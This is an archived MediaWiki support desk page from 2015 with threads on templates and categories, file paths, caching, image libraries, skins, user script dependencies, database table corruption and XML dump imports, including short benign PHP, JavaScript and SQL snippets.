Of course the templates are a problem; you can find them via Special Pages - List of Pages - Namespace = Template, but there are an enormous number and they are to some extent in continual flux.
Of course you can fetch all the templates you need for a given page recursively, and perhaps cache them to cut down on the bandwidth, but I still wonder if it is worth it.
They are in principle defined by anyone who edits the wiki, though in practice they are mostly done by more experienced editors.
There is no true coordination, just various more or less agreed best practices.
If you just want to do it for a private wiki, you might look at the newer editors and try hacking them and/or the upper levels of MediaWiki.
I hope this is not too discouraging! PJTraill (talk) 20:57, 27 January 2015 (UTC)
Thanks for the explanation. But I do not understand something. If an author creates a new templates. How does the Interpreter from mediawiki know howto visualize ? If the interpreter automatic knows howto interprete, there is probably a way to get this definition also through an api ? 176.127.146.117 06:39, 28 January 2015 (UTC)
I am sorry; while I have a reasonable idea what MediaWiki does, I know little of how it does it (and I’m not sure what you’re asking). I could say (a) when viewed or previewed, a template definition is formatted just like any other page and (b) when a template changes, MediaWiki reformats pages listed as using it; actually I think it would be better for you to study “For developers” on Manual:Contents. PJTraill (talk) 12:09, 28 January 2015 (UTC)
The parser is recursive. It just expands each template into its respective wikitext, then expands any templates in said wikitext and so on, and at the end does the proper parsing which turns the wikitext into HTML. The parser doesn't need to know anything about any template, just how to parse standard wikitext which you can use anywhere. 121.214.190.213 14:05, 28 January 2015 (UTC)

Templates and Lists

First: Sorry for my bad English.

Hello,

i have a problem... (good start :D)

i have a template, for example...
Template: Cars
brands: {{{b}}}
type: {{{t}}}
color: {{{c}}}
After that I create some pages with this template, so I have some car-pages.

The Problem: Now I want another page with a list of all cars and another page with a list of all cars which are yellow. How can I do it? 84.118.252.230 21:19, 27 January 2015 (UTC)

Sorry, Another thing. What if I want a list of all colors? 84.118.252.230 21:29, 27 January 2015 (UTC)
The simplest way is to make the template categorize pages based on those parameters. See Help:Categories
You can make your template categorize pages simply by using things like this:
color: {{{c}}}[[Category:{{{c}}}]]
Then, the category page will list all cars of that color.
You can use some extensions to put that list on a page or even combine several categories, if you need. See Category:Category extensions Ciencia Al Poder (talk) 11:19, 28 January 2015 (UTC)
Sounds like a challenge to be tackled using Semantic MediaWiki. This, that and the other (talk) 05:32, 28 January 2015 (UTC)

[RESOLVED] Call to uploaded file

In our wiki exists several updated files. By example File:myfile.jpg. Then myfile.jpg is located in ../images/c/cf/myfile.jpg. I need to open (or download) directly (from a php program) the myfile.jpg. How the program can get the full path for myfile.jpg (../images/c/cf/myfile.jpg)?. Jmarchn (talk) 21:53, 27 January 2015 (UTC)

To access the physical path from the same server, it should be as simple as construct it from your upload directory, the /c/cf/ part, and the filename.
The /c/cf/ part is the first and 2 first (respectively) md5 sum hash characters of the filename (myfile.jpg). This can be done with the md5() function. Ciencia Al Poder (talk) 11:04, 28 January 2015 (UTC)
Thanks!!!
function path_from_md5fn_fn ($fn) {
  $s = md5 ($fn);
  return substr($s,0,1).'/'.substr($s,0,2).'/'.$fn;
}
Jmarchn (talk) 07:30, 29 January 2015 (UTC)
http://path-to-your-wiki/Special:Redirect/file/myfile.jpg ? Ricordisamoa 06:04, 10 February 2015 (UTC)
@Ricordisamoa:
Wonderful!, but the correct is:
http://path-to-your-wiki/index.php?title=Special:Redirect/file/myfile.jpg Jmarchn (talk) 20:32, 12 February 2015 (UTC)
Only if you don't have Short URLs set up.
A note to anyone else considering using this: The redirect will make it take longer for the file to start loading, and won't be cached (although the file which it redirects to will be). 121.220.14.39 03:42, 13 February 2015 (UTC)
Alternative, create Template:DirectFileOpen, with:
[http://path-to-your-wiki/index.php?title=Special:Redirect/file/{{{1}}} {{{2}}}] Jmarchn (talk) 06:53, 13 February 2015 (UTC)
That doesn't make any sense to do in a template. If you want a link directly to a file, you can just use [[Media:File.png]], and if you just want the URL you can use {{filepath:File.png}}. 121.220.14.39 09:29, 13 February 2015 (UTC)
Thank you!
I changed: Template:DirectFileOpen:
[{{filepath:{{{1}}}}} {{{2}}}]
Because, perhaps it's easier write: {{DirectFileOpen|Filename|TextForFilename}} than [{{filepath:Filename}} TextForFilename]. Jmarchn (talk) 10:16, 14 February 2015 (UTC)
Why are you still manually constructing an external link to a file instead of using [[Media:]]? [[Media:Filename|TextForFilename]] seems a lot easier than your template, and will actually count the file as being "used". 121.220.14.39 11:19, 14 February 2015 (UTC)
Because I do not want to open the page that references the file (i.g. File:Filename.jpg). I want to open the file directly.
This is because I want to open a rtf files. Obviously, a rtf file is not displayed in the page that contains the link (or my new template DirectFileOpen).
Very thank you! Jmarchn (talk) 11:50, 14 February 2015 (UTC)
And you obviously haven't tried to use [[Media:]] to see what results it gives... Ciencia Al Poder (talk) 14:00, 14 February 2015 (UTC)
I'm sorry, you are reason. I had thought that [[Media:]] was equivalent to [[File:]]. Jmarchn (talk) 18:44, 15 February 2015 (UTC)
Media links directly to the file! I've already said this. 120.144.62.72 23:04, 14 February 2015 (UTC)
Very thanks!. You are right. I didn't prove it. Jmarchn (talk) 18:46, 15 February 2015 (UTC)

Do I need to set $wgCacheDirectory if using redis or APC?

It looks like l10n cache file made lots of IO wrote which decrease my wiki's speed.

Generally will the file set by $wgCacheDirectory increase wiki's speed? Should I turn it off when using redis and APC? Zoglun (talk) 00:03, 28 January 2015 (UTC)

Hi,
Manual:$wgCacheDirectory is only needed, if you want to save the localisationCache in your filesystem and isn't required for APC or redis to work :) Florianschmidtwelzow (talk) 07:37, 29 January 2015 (UTC)
Thank you! Zoglun (talk) 15:06, 2 February 2015 (UTC)

[RESOLVED] Errors when using GD image library

I'm seeing blank pages when I attempt to use GD as the image library as opposed to ImageMagick.

I've got an old MediaWiki site that I've just upgraded from version 1.8.2 to 1.24.0. I also installed a completely fresh copy of 1.24.0 onto the same server. When I set them both to use ImageMagick I receive errors about proc_open being disabled at the top of the page and, although pages will load, the images won't and instead say:

Error creating thumbnail: Unable to run external programs, proc_open() is disabled.
Error code: 1

Essentially my host has disabled proc_open for security.

So I try to use GD instead. The fresh installation lets me upload new images and add them to pages, then it creates the thumbnails as it should. All works fine with GD. The upgraded site, however, just goes to a blank page after pressing the upload button. It also shows a blank page on several pages that have images (ie the same pages that would have the above error if using ImageMagick), eg Gallery of new images, and File list.

It appears that I can't use ImageMagick due to proc_open being disabled. But does anyone know why GD would work fine on one installation but not on another?

The errors that appear when loading those blank pages look like: PasteBin

I'm using:

  • PHP: 5.3.29
  • MySQL: 5.6.22
  • MW: 1.24.0

Thanks Chris huh (talk) 16:49, 28 January 2015 (UTC)

If you have both 1.24, the problem may be one setting in LocalSettings.php causing an error, or if you forgot to run the upgrade script on the migrated database.
It's strange that the debug log stops at that line. That may indicate a fatal PHP error or, in the worst case, a segfault. Note that PHP fatal errors aren't logged in the debug log, you should enable the display of PHP errors (see Manual:How_to_debug) or look at the error log of the webserver. Ciencia Al Poder (talk) 10:57, 29 January 2015 (UTC)
I've turned on PHP debugging via the LocalSettings.php option. Where would it display any PHP errors? In the page itself or in a log? I don't see any errors on neither the page nor in the log file.
I will have to look through my LocalSettings.php to see if there is anything that could be causing it. Thanks Chris huh (talk) 17:11, 29 January 2015 (UTC)
Read the section PHP errors on that page. Ciencia Al Poder (talk) 20:46, 29 January 2015 (UTC)
Oh yeah, it says it right there. My bad.
I'm not seeing any errors on the page so i guess it's one of those fatal PHP errors that occurs before the system can get to that line of code. I'll try looking at the LocalSettings.php.
Thanks Chris huh (talk) 11:13, 30 January 2015 (UTC)
I'm not sure what it was in the LocalSettings but by using the fresh installation's copy I got it working.
Thanks Chris huh (talk) 10:54, 31 January 2015 (UTC)

Looking for a particular skin...

Currently on 1.17, using Vector with just enough modification to get advertising units in. The reason we haven't upgraded our wiki as of yet is because the changes to how skins work made it impossible for us to figure out how to get ad units in the necessary places, and we rolled back to 1.17 until we had some time to sort it out.

That said, we're not wed to using Vector. It feels a little busy in its sidebar, and we were hoping to find something fresh and new that would allow us the room to fit a couple of ad units (a horizontal ad up top and at bottom, a vertical unit on the side) cleanly to support the site. We've also been told we really need to be more mobile-friendly.

I've also generally found it difficult to come to grips with the changes to skins since 1.17 -- it used to be that you could just modify the skin files directly quite easily, but when we tried upgrading to 1.23 it was something of a disaster. Are there any good guides for modifying skins like Vector since the changes? Balerion300 (talk) 19:36, 28 January 2015 (UTC)

Have you looked at Category:Stable_skins? Looking at examples should help. There are a few that Jack Phoenix has converted from WordPress, so that should be helpful. There is also Manual:Skinning. MarkAHershberger(talk) 00:07, 29 January 2015 (UTC)

Does MediaWiki suite my project? Some info about the fork feature

Hi everybody

I'd like to install MediaWiki on two websites for two different projects, but I need some info before:

1) can I "fork" some Wikipedia articles into my website? How can I accomplish it? I know I can copy/paste them, but are there other ways to do this with many articles?

2) the other website is project oriented. Each member will be able to fork the project of another member, and all the related fork have to be notified in order to collect them into a group: something like the Fork feature of GitHub, but these forks will stay in my website. Is it possible with MediaWiki? How?

Thank you in advance!

Best regards,

Ivan IvanPsy (talk) 22:01, 28 January 2015 (UTC)

You should look at work I did on my page puller extension]. It isn't forking in the git sense, but it would allow you (with some work) to keep the pages in some sort of synchronisation. MarkAHershberger(talk) 00:10, 29 January 2015 (UTC)
Thank you for your answer.
It sounds interesting: what are its features? IvanPsy (talk) 22:35, 29 January 2015 (UTC)

[RESOLVED] Gzip Extraction Error/ GPG Sig Error

I am getting the following attempting to extract mediawiki-1.24.1.tar.gz downloaded following the link http://releases.wikimedia.org/mediawiki/1.24/mediawiki-1.24.1.tar.gz.

gzip: mediawiki-1.24.1.tar.gz: unexpected end of file

I've downloaded the file twice using curl on Linux and Windows/Firefox copied to Linux with the same result. I then checked the gpg sig and got:

gpg: Signature made Wed 17 Dec 2014 02:18:25 PM CST using RSA key ID 7F901A30
gpg: BAD signature from "Mark A. Hershberger <mah@everybody.org>"

The file size I have is 20346207, md5sum f81e37cb40a3db04f289610e23d21d24 if it helps. 99.20.200.142 04:14, 29 January 2015 (UTC)

I made a mistake. Please disregard this. 99.20.200.142 04:24, 29 January 2015 (UTC)
Maybe you can explain your mistake, so othe rpeople (run into the same problem) can profit from you? :) Florianschmidtwelzow (talk) 06:51, 29 January 2015 (UTC)

SQLite support extent

Hi, Manual:SQLite states that "SQLite support for MediaWiki is of production quality as of MediaWiki 1.17," but on the same page it says "Several extensions are known to have database update or installation issues with SQLite: AbuseFilter" Is that statement still true, or have the extension issues been fixed? For CheckUser and other extensions, am I able to manually create the needed schema in the database and have it work, or would it simply not work? And finally, do shared databases (e.g. user tables) work for SQLite? Thanks. Lorp10 (talk) 08:35, 29 January 2015 (UTC)

[RESOLVED] I opened LocalSettings.php using notepad and saved it

Now the wiki's broken. How can I revert it? Sandvich18 (talk) 09:46, 29 January 2015 (UTC)

Will opening it in Notepad++ and saving it in UTF-8 without BOM work? Sandvich18 (talk) 10:14, 29 January 2015 (UTC)
See Manual:LocalSettings.php! Yes, saving the file in UTF-8 without BOM will fix the wrong ncoding again. 88.130.64.250 18:10, 29 January 2015 (UTC)
Thanks :) Sandvich18 (talk) 13:44, 30 January 2015 (UTC)

Upload files without createpage - permission

Hi, if i give a group the permission to upload files (upload) but not to create page (createpage) they are not able to upload a file. As i understand an upload will create a page for that file - that is imho the problem. Is there a workaround? This group has the permission to edit pages but they schouldn't have the permission to create new ones. However they should be abel to upload and link images in an existing page. Is there a solution for? Best regards and thanks in adavance!

MediaWiki 1.22.13 PHP 5.4.36-0+deb7u3 (apache2handler) MySQL 5.5.41-0+wheezy1 LNAG-IT (talk) 12:57, 29 January 2015 (UTC)

I see a search results page instead of an article

I'd like to revive a question I posed in the summer:

I have now installed version 1.24.1 as a completely fresh installation on a different computer, with Vector as the skin, and I have the same issue. (The issue is that when I click "Search", MediaWiki presents a search results page, instead of bringing me to the article that matches the title.)

This leads me to believe that something has gone awry with Vector, because Monobook behaves as expected.

Does anybody know if there is a setting somewhere that tells Vector to bring users directly to the matching article? I have updated $wgVectorUseSimpleSearch, with no results other than the cosmetic addition of "go" and "search". • Supāsaru 15:40, 29 January 2015 (UTC)

Possible bug in DatabasePostgres.php

With this commit the new setting "standard_conforming_strings" was added:
github.com/wikimedia/mediawiki/commit/71d5b68221002d71c88783acab7df267a4e04cec

Some of my users (MediaWiki 1.19, PHP 5.2.5, PostgreSQL 8.4.1) has not enough rights to change this setting:
wiki-forum.de/installationsprobleme-der-version-1-19-0-t347486.htm

I suggest to check first if the necessary rights are available. If this is not possible (sorry I'm not a PostgrSQL user) there should be check at least a check if the setting is necessary. By PostgrSQL 9.1 the default is "ON". So there is not need to check. Lower versions could be checked through the following query:

SHOW standard_conforming_strings; Marc Gutt (talk) 17:49, 29 January 2015 (UTC)
You should report a bug, assuming this is still a problem in recent versions of MediaWiki. Note that MediaWiki 1.19 will end its support soon. Ciencia Al Poder (talk) 10:30, 30 January 2015 (UTC)
Thanks. Did that:
https://phabricator.wikimedia.org/T88097 Marc Gutt (talk) 11:02, 30 January 2015 (UTC)

Editing MediaWiki namespace

Hi, I've just installed MediaWiki using Bitnami and I'd like to start designing my Wiki and customizing it to my liking but atm I can't because I can't edit the MediaWiki namespace. How do I gain this ability? My PC is secure in the sense I'm the only one that uses it and my net connection is private (I'm at home I'm not at a coffee shop or other public place) so I'm confident doing so won't cause me big problems.

Software details
Software Version
MySQL 5.5.40
PHP 5.4.35
MediaWiki 1.24.1
Operating system Windows 7 64 bit SP1

Fuse809 (talk) 20:41, 29 January 2015 (UTC)

You should log in as the user that you created when you first set up the wiki, as it should have the appropriate permissions. Visit "Special:ListUsers" on your wiki if have forgotten the user name.
See also Manual:FAQ#Initial_user_was_not_created_by_installer_or_it_is_not_an_administrator This, that and the other (talk) 01:41, 30 January 2015 (UTC)

$wgUser deprecated

Since $wgUser is deprecated, what is the new method for getting the user class? Cblair91 (talk) 22:30, 29 January 2015 (UTC)

As far as I know, $wgUser is not deprecated. You can use variable by add "global $wgUser" to user code. *devunt (talk) 22:38, 29 January 2015 (UTC)
Manual:User.php#See_also
Notice this: "Manual:$wgUser - global user object (deprecated)" Cblair91 (talk) 22:43, 29 January 2015 (UTC)
It depends on where in the code you want to access this information. On a special page, for instance, one can use $this->getUser().
What exactly are you trying to do? This, that and the other (talk) 01:37, 30 January 2015 (UTC)

Two questions regarding edit forms

Here is my setup:

MediaWiki 	1.23.5
PHP 	5.5.17 (apache2handler)
MySQL 	5.6.21 

When a user wants to add a new section, there will be a textbox with label "subject/headline". Is there a way to change that label? I am already familiar with the relevant hooks (editpage class), but I wasn't able to find a way to change the label. I guess I'd also be interested in knowing how I can change the copyright warning at the bottom of the edit form. So the first question is as follows:

Is there some way, preferably via a hook, to change the labels and messages related to edit forms?

Now the second question/issue concerns passing some information to the edit form so that I can reuse it when processing the edit. With simple forms, you can have a hidden textbox and then use that to pass information. Is there any way to do that with edit forms? Basically I have some information about the user that I need to hold and keep hidden from the user and then I would need that information for the 'EditPage::attemptSave' hook. The second question is basically:

Is there a way to pass hidden information to the edit form and recover it after the edit has been submitted (via a hook)?

Thank you in advance Mfort123 (talk) 23:22, 29 January 2015 (UTC)

If you just want to change the text for your own wiki, you can edit the relevant system message in the MediaWiki amespace. To find the right message to edit, you can use Special:AllMessages on your wiki, or alternatively, use the procedure outlined at qqx. See https://www.mediawiki.org/w/index.php?title=Project:Sandbox&action=edit&section=new&uselang=qqx for an example "qqx" URL, which tells you that the page you need to edit on your wiki to edit the "Subject/headline" message is MediaWiki:Subject.
As for the second issue, if you pass the information in a hidden form field , the user will still be able to see the information by viewing the HTML source of the edit page. Couldn't you simply fetch the relevant information in the EditPage::attemptSave hook, and do all the processing internally? This, that and the other (talk) 04:46, 30 January 2015 (UTC)

User script interdependencies

I ask this question specifically in the context of the English Wikipedia, but I suppose it's equally valid for any MediaWiki installation. I originally asked these questions here, and copy them here in the hope of more support.

I'm starting to try and work with userscripts a little, and, probably due to my inexperience with both javascript and with mediawiki, I'm running in to a couple of questions. The questions all have to do with loading and dependencies.

  • I would like to use some functions/objects in multiple scripts. What is the suggested way to inject the dependencies into the executing script? There are the functions importScript, mw.loader.load and mw.loader.using(). I can't figure out how to inject the dependencies in to the executing script however, other than injecting them into the global namespace and picking them up from there, which can't be the intention. mw.loader.using takes a callback as an argument, but that callback doesn't have parameters for the dependencies. It returns a promise, but I can't find what the promise contains (it looks like nothing).
  • Scripts that actually do something other than providing functions tend to depend on the DOM, which may be built asynchronously. The mediawiki guidelines advice to use the mw.hook events rather than document.ready, which seems reasonable, but the three listed events there seem to be rather sparse. My specific usecase for now is adding a portlet link. I'd like it to be general, but I'd settle for it only working on Vector. On which event should I add that? Martijn Hoekstra (talk) 10:06, 30 January 2015 (UTC)
I wasn't aware of the mw.hook thing, but for things like portlet links that are not in article content you can use document.ready events without problems.
Example code with dependencies:
$(function() {
	// Code that will run when the page has finished loading
	mw.loader.using(['mediawiki.api', 'jquery.ui.dialog']).done(function() {
		// Code that will run when all dependencies have been loaded and are available on the page
	});
});
Ciencia Al Poder (talk) 10:50, 30 January 2015 (UTC)
Well, that at least solves the document ready problem; it's not a problem. But I still don't get how I can depend on my own userscripts. For example, if I have User:Martijn Hoekstra/somedependency.js
  (function(){
    var myutilities = {
      do_my_thing: function(){
         // code that will do my thing
      }
    };
    //I want to expose myutilities to other scripts somehow now, preferably not through the global namespace but I don't know how
  })();
Then when I have User:Martijn Hoekstra/mydependingscript.js
  mw.loader.using(['some way to refer to User:Martijn Hoekstra/somedependency.js, what goes here?']).done(function(mydependency) {
    mydependency.do_my_thing();
  });
how do I get a hold of the dependency in User:Martijn Hoekstra/somedependency.js? Martijn Hoekstra (talk) 11:55, 30 January 2015 (UTC)
You'll need to use $.getScript for that, passing the complete URL of the script (if it's a wiki page, with the &action=raw&ctype=text/javascript query string):
  $.getScript('/w/index.php?title=User:Martijn_Hoekstra/somedependency.js&action=raw&ctype=text%2Fjavascript').done(function() {
    mydependency.do_my_thing();
  });
Note that it doesn't allow cross-domain requests, so the script must be on the same wiki. Otherwise, there's no way to do that, except if you save your function in a sort of global variable and make the script attempt to read that variable to execute the function upon being loaded. Ciencia Al Poder (talk) 12:02, 31 January 2015 (UTC)
Thank you for helping me further. Where does the variable mydependency come from in that example? Do I have to return it from the dependency? Or do I have to attach it to the window object? Also, wouldn't this load and execute the dependency every time it is depended upon? Martijn Hoekstra (talk) 15:06, 31 January 2015 (UTC)
There's no actual dependency handling for user scripts. If you want that you'll need to write an extension for it, or wait for gadgets 3.0 (don't hold your breath). 121.214.190.213 05:52, 1 February 2015 (UTC)
Oh, that's a shame. I'll see if I can update the documentation to reflect that. Martijn Hoekstra (talk) 10:55, 1 February 2015 (UTC)

Add a dialect

This post by Revibot was moved on 2015-07-11. You can find it at Extension talk:Translate/Archive 2/2015#h-Add_a_dialect-2015-01-29T20:43:00.000Z. Ciencia Al Poder (talk) 10:40, 30 January 2015 (UTC)

Tick "Ignore any warnings" by default

Heiya, is there a setting/way to tick "Ignore any warnings" situated in the "Upload Options" section on "Special:Upload" by default for all users. Thanks and cheers [[kgh]] (talk) 15:26, 30 January 2015 (UTC)

You can use JS to do this, if you add the code to your MediaWiki:UploadForm.js page. Florianschmidtwelzow (talk) 13:14, 2 February 2015 (UTC)
Thanks for your suggestion. Have not thought about this. Still have to figure out the code but yeah, that's a start! [[kgh]] (talk) 13:22, 2 February 2015 (UTC)
haven't tested, but:
( function( $ ) {
  $( '#wpIgnoreWarning' ).prop( 'checked', true );
}( jQuery ) );
Florianschmidtwelzow (talk) 11:42, 4 February 2015 (UTC)
Hey! How cool is this???!!! I will give it a try now. Great and thanks a ton already! [[kgh]] (talk) 12:53, 5 February 2015 (UTC)
Works great! Thank you, I am really happy! What about adding this to the Snippets list? [[kgh]] (talk) 13:03, 5 February 2015 (UTC)
> Works great!
Yay :)
> What about adding this to the Snippets list?
Yes Done -> Snippets/Tick_"Ignore_any_warnings"_automatically Florianschmidtwelzow (talk) 13:21, 5 February 2015 (UTC)
Thanks, you rule! :) [[kgh]] (talk) 15:47, 5 February 2015 (UTC)
This is not working for me with MW 1.27. I added the snipped in MediaWiki:UploadForm.js, cleared all caches, but nothing happens. Did I miss something? Planetenxin (talk) 11:17, 3 March 2017 (UTC)
Adding this snippet to MediaWiki:Commons.js worked for me:
if ( mw.config.get ( 'wgPageName' ) == 'Special:Upload') {
  ( function( $ ) {
    $( '#wpIgnoreWarning' ).prop( 'checked', true );
  }( jQuery ) );
}
Planetenxin (talk) 16:48, 3 March 2017 (UTC)
Your updated script just restricts the execution of this code to Special:Upload, but does not change anything more, so if your code is working, the snippet should be working as well. Ciencia Al Poder (talk) 18:30, 3 March 2017 (UTC)

ExtDev : Which hooks to page pre-rendering ?

Hi all,

I'm currently developping an extension for mediawiki and need your help please. I tried few things by my own and search around a bit but I didn't find anything about my issue.

My problem is the following : I try to add dynamic content at beginning of some pages (based on some database extended informations). Currently, I use the "onArticleAfterFetchContentObject" hook in order to add my dynamic content before any parser (it's important because my dynamic content contains wikitext !). It works great, except one thing : after editing an article, user is redirected to the article without calling "onArticleAfterFetchContentObject". This makes sense, because content doesn't need to be reloaded from database after an edit, but this causes my dynamic content isn't added to the page unless someone purge it...

Now, I'm not sure about what I should do to solve this issue. Should I try to force purge after each edit ? How ? Should I try to add my dynamic content after an edit too ? How ? Should I try to find another hook to add my dynamic content and manually apply parser on it ? How ? (dynamic content only contains basic wikitext like bold and italic)

I want to precise that storing this dynamic content into a magic word into the article is not feasible. And by the way, I found it strange that even if "onArticleAfterFetchContentObject" hook is called where user is on edit.php, added dynamic content isn't shown in html textarea, but I didn't investiguate on it.

Thanks and sorry for my awkward english. Kallys (talk) 15:43, 30 January 2015 (UTC)

MediaWiki revisions blank?

I'm working with a mediawiki that apparently got pretty spammed up. The current installation is not working at all. I downloaded a copy of the latest mediawiki, and imported the entire database. I ran the updater script. Now all the pages are restored however it seems like the last couple of revisions are blank. So almost all of the pages are blank unless they only had one revision....

Any ideas? 144.126.16.162 17:10, 30 January 2015 (UTC)

Can you explain the problem in more detail?
I assume that before you did the recent upgrade, you used MediaWiki 1.5 or newer. If so, then I have the following questions:
When you look at a page, the page table inside th DB is used to get a revision number for that page. Next the revision table is queried for exactly this revision and in this process an old_id is obtained. Finally this value is used to get the according text from the table text.
So do you have a corrupted revision table (which does not point to an existing entry in the text table)?
Or are the entries in the text table actually present (old_id does exist), but the according text is empty? In this case: Is it possible that a user has just deleted the text through MediaWiki and saved an epty page instead? IIrc you can see the size differences when you compare the according fields in the revision table. 88.130.99.31 23:04, 30 January 2015 (UTC)

Is there a way to limit a search to only pictures carrying a certain license? E.g., At my publication I'm not allowed to use pictures under the ShareAlike license, but only those licensed "CC BY" or "CC BY-ND."

It would save a lot of time if I could run a search that only produced pictures with these license-types. 73.168.230.67 07:52, 31 January 2015 (UTC)

Database error

Not sure if anyone have had this problem before. My wiki page have working normal up until a couple of days ago. When I try to access my site, I get the following

A database query error has occurred. This may indicate a bug in the software.

Query: SELECT page_title FROM `page` WHERE page_is_redirect = '0' AND page_namespace = '8' AND (page_title NOT LIKE '%/%' ) AND (page_len > 10000) Function: MessageCache::loadFromDB(en)-big Error: 1146 Table 'my_wiki.page' doesn't exist (mysqlhost3)

What's strange is when I try show the tables using putty, it shows that I have a table called page. But when I used the command to select * from page, it says the table does not exist.

Has anyone had this problem before? If so, how did you fix it? littledevils326 11:29, 31 January 2015 (UTC)

Are you really sure that the wiki is using the same database, meaning the one, on which you tried running the SELECT query? Or are you maybe unintendedly using a test instance or so at one place?
If this is not the problem, then it might be that the MySQL server was updated or the database files were moved. If that is the case, restarting the MySQL service and/or recreating the database should help. 88.130.99.31 12:28, 31 January 2015 (UTC)
Yes this is same database wiki is using. My site had been working fine and I never changed anything, but it's not working now.
Regarding the MySQL server, putty shows a list of table names, one of which is 'page' (see above error message) but it complains that the table does not exist.
However, when I access my tables through phpmyadmin, I don't have the table 'page'. 94.173.24.36 12:59, 31 January 2015 (UTC)
Who is hosting your site? Is it on your local PC? If it is run on someone else's server, ask him, if he changed anything. My best guess until now is that something got broken with the InnoDB tablespace. This most likely happens at one of two occasions: Someone moved the tablespace files, e.g. during a server move. Or MySQL has been upgraded and necessary table upgrades have been forgotten/not finished properly. A power outage would also be an explanation.
You can try to run CHECK TABLE on the page table; I expect that this comes back with a useful error message.
You might also want to use
mysqlcheck db_name
from the PuTTY shell (replacing db_name with your database's name) in order to have all of your tables checked in one go. That will show you, i other tables are affected as well. 88.130.73.24 16:58, 31 January 2015 (UTC)
 17:17, 31 January 2015 (UTC)
I just tried mysqlcheck db_name but I get an error message
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'mysqlcheck db_name' at line 1 94.173.24.36 01:18, 1 February 2015 (UTC)
Note that mysqlcheck is not a MySQL query. Instead it is an own program. The parameter "db_name" must be replaced with the actual name of the DB; "my_wiki" in your case. 88.130.73.24 02:02, 1 February 2015 (UTC)
Have just tried running that and it gives me the following: (db_name was replaced with the name of my database)
Error  : Table 'db_name.page' doesn't exist
status  : Operation failed
And aging, the table 'page' shows up when I use show tables 146.176.90.116 10:54, 2 February 2015 (UTC)
This could be a database file corruption. If that's the problem, you may need to restore the wiki from backup.
That particular table may be recoverable from the other table contents, and be able to access its text, but that would be difficult to do. Ciencia Al Poder (talk) 13:26, 2 February 2015 (UTC)
I would now try to follow the "InnoDB Corruption Repair Guide", which you find on Google and start with "C/2 Corrupted Tables". There are two methods, which might help you recover the table and it's contents. Anyway, both require you to be able to read from the page table, where I am not sure, if that is still possible in your situation.
However, the easiest solution will be as Ciencia said: Just use a database backup and restore from there. 88.130.113.187 13:35, 2 February 2015 (UTC)

How to Import Large mediawiki xml Dumps into my existing wiki?

I have Several xml dumps. For example: text-dump-1.xml - 200mb text-dump-2.xml -222mb

Each of them are 200+ MBs and i wanna import all of them on my existing mediawiki database without deleting any of its contents. I'm new to mediawiki and i wanna know how can i do that? Arijit Dey (talk) 18:55, 31 January 2015 (UTC)

See Manual:Importing XML dumps.
It won't "delete" any existing content. If you have existing pages with the same name, they may be overwritten by generating new revisions in top of the existing ones, although you could go to the history and see the previous content.
Note that what gets imported are page revisions. If the import is older than existing pages, it will generate older revisions of current pages in the history, but the current content of the page will still be shown. Ciencia Al Poder (talk) 10:42, 2 February 2015 (UTC)
Category:Support desk archives Category:Support desk archives using deprecated source tags